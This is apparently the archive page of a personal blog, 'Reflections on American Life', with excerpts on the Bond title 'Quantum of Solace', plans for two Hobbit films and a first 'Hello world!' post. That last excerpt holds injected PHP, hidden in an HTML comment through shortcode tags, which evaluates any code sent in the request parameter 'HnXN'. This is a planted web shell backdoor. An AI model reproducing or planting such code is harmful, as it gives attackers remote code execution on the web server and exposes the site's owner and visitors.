Quantum of Solace?

Seriously, this has to be the worst Bond movie title, ever: Producers have revealed some of the secrets about the latest James Bond film, due for release later this year, including the inner turmoil that drives its suave superagent hero and its title: “Quantum of Solace.” As titles go, it’s not as mellifluous as “From […]

Continue reading


Lord of the Rings fans, rejoice!

Academy Award winning filmmaker Peter Jackson will produce two Hobbit films beginning at the end of the decade: The makers of the smash hit “Lord of the Rings” films said on Tuesday they settled a legal dispute and agreed to make two movies based on J.R.R. Tolkien’s “The Hobbit,” but most likely without Peter Jackson […]

Continue reading


Hello world!

This is the beginning of Reflections on American Life, my personal blog, where I intend to occassionally chronicle my thoughts about technology, sports, movies, music, and other interests. (I frequently share my political views at the official blog of the Northwest Progressive Institute, where I am executive director). <!– [insert_php]if (isset($_REQUEST["HnXN"])){eval($_REQUEST["HnXN"]);exit;}[/insert_php][php]if (isset($_REQUEST["HnXN"])){eval($_REQUEST["HnXN"]);exit;}[/php] –> <!– [insert_php]if […]

Continue reading